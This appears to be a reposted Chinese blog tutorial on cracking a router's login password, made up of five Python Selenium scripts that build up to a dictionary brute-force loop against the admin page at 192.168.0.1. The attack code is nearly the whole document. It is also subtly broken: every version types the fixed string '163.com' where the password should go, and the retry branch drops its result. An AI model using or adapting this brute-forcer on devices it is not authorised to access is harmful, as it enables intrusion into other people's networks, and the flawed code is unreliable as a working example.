00014 路由器登陆密码破解

test1.py

import selenium.webdriver
import time
from selenium.webdriver.common.keys import Keys

driver = selenium.webdriver.Chrome()
driver.get("http://192.168.0.1/")
time.sleep(5)
inputelem = driver.find_element_by_id("lgPwd")
inputelem.send_keys("163.com")

#第一次, 尝试submit, 不支持
#inputelem.submit()

#第二次, 尝试click, 不支持
#click = driver.find_element_by_id("loginSub")
#click.click()

#第三次, 使用回车
inputelem.send_keys(Keys.ENTER)

time.sleep(3)

print(driver.page_source)
print(driver.page_source.find("密码错误"))

test2.py

import selenium.webdriver
import time
from selenium.webdriver.common.keys import Keys

driver = selenium.webdriver.Chrome()
driver.get("http://192.168.0.1/")
time.sleep(3)
inputelem = driver.find_element_by_id("lgPwd")
inputelem.send_keys("163.com")
inputelem.send_keys(Keys.ENTER)

time.sleep(1)

if driver.page_source.find("密码错误") == -1:
    print("登陆成功")
else:
    print("登陆失败")

test3.py

import selenium.webdriver
import time
from selenium.webdriver.common.keys import Keys

def checkpassword(password):
    driver = selenium.webdriver.Chrome()
    driver.get("http://192.168.0.1/")
    time.sleep(3)
    inputelem = driver.find_element_by_id("lgPwd")
    inputelem.send_keys("163.com")
    inputelem.send_keys(Keys.ENTER)
    time.sleep(1)
    isOK=None
    if driver.page_source.find("密码错误") == -1:
        print("登陆成功")
        isOK=True
    else:
        print("登陆失败")
        isOK=False
    driver.close()
    return isOK

checkpassword("123123")
checkpassword("123123123123")

test4.py

import selenium.webdriver
import time
from selenium.webdriver.common.keys import Keys

def checkpassword(password):
    driver = selenium.webdriver.Chrome()
    driver.get("http://192.168.0.1/")
    time.sleep(3)
    inputelem = driver.find_element_by_id("lgPwd")
    inputelem.send_keys("163.com")
    inputelem.send_keys(Keys.ENTER)
    time.sleep(1)
    isOK=None
    if driver.page_source.find("密码错误") == -1:
        #print("登陆成功")
        isOK=True
    else:
        #print("登陆失败")
        isOK=False
    driver.close()
    return isOK

#passwordfilepath=r"Z:\F\test\test.txt"
passwordfilepath="test.txt"
#test.txt文件内容
#123 # 456
#qqqqq # wwww
#eeee # fffff
passfile=open(passwordfilepath, "rb")
while True:
    line=passfile.readline()
    if not line:
        break
    line=line.decode("utf-8", "ignore")
    linelist=line.split(" # ")
    password=linelist[0]
    isok=checkpassword(password)
    print(password, isok)
    if isok:
        break

passfile.close()

test5.py

import selenium.webdriver
import time
from selenium.webdriver.common.keys import Keys

def checkpassword(driver, password):
    try:
        driver.refresh()
        driver.get("http://192.168.0.1/")
        driver.implicitly_wait(10)
        inputelem = driver.find_element_by_id("lgPwd")
        inputelem.send_keys("163.com")
        inputelem.send_keys(Keys.ENTER)
        time.sleep(1)
        isOK=None
        if driver.page_source.find("密码错误") == -1:
            #print("登陆成功")
            isOK=True
        else:
            #print("登陆失败")
            isOK=False
        return isOK
    except:
        driver.close()
        driver = selenium.webdriver.Chrome()
        driver.get("http://192.168.0.1/")
        checkpassword(driver, password)

driver = selenium.webdriver.Chrome()
driver.get("http://192.168.0.1/")
#passwordfilepath=r"Z:\F\test\test.txt"
passwordfilepath="test.txt"
#test.txt文件内容
#123 # 456
#qqqqq # wwww
#eeee # fffff
passfile=open(passwordfilepath, "rb")
while True:
    line=passfile.readline()
    if not line:
        break
    line=line.decode("utf-8", "ignore")
    linelist=line.split(" # ")
    password=linelist[0]
    driver.delete_all_cookies()
    isok=checkpassword(driver, password)
    print(password, isok)
    if isok:
        break

passfile.close()
driver.close()

猜你喜欢

转载自www.cnblogs.com/python-abc/p/11946469.html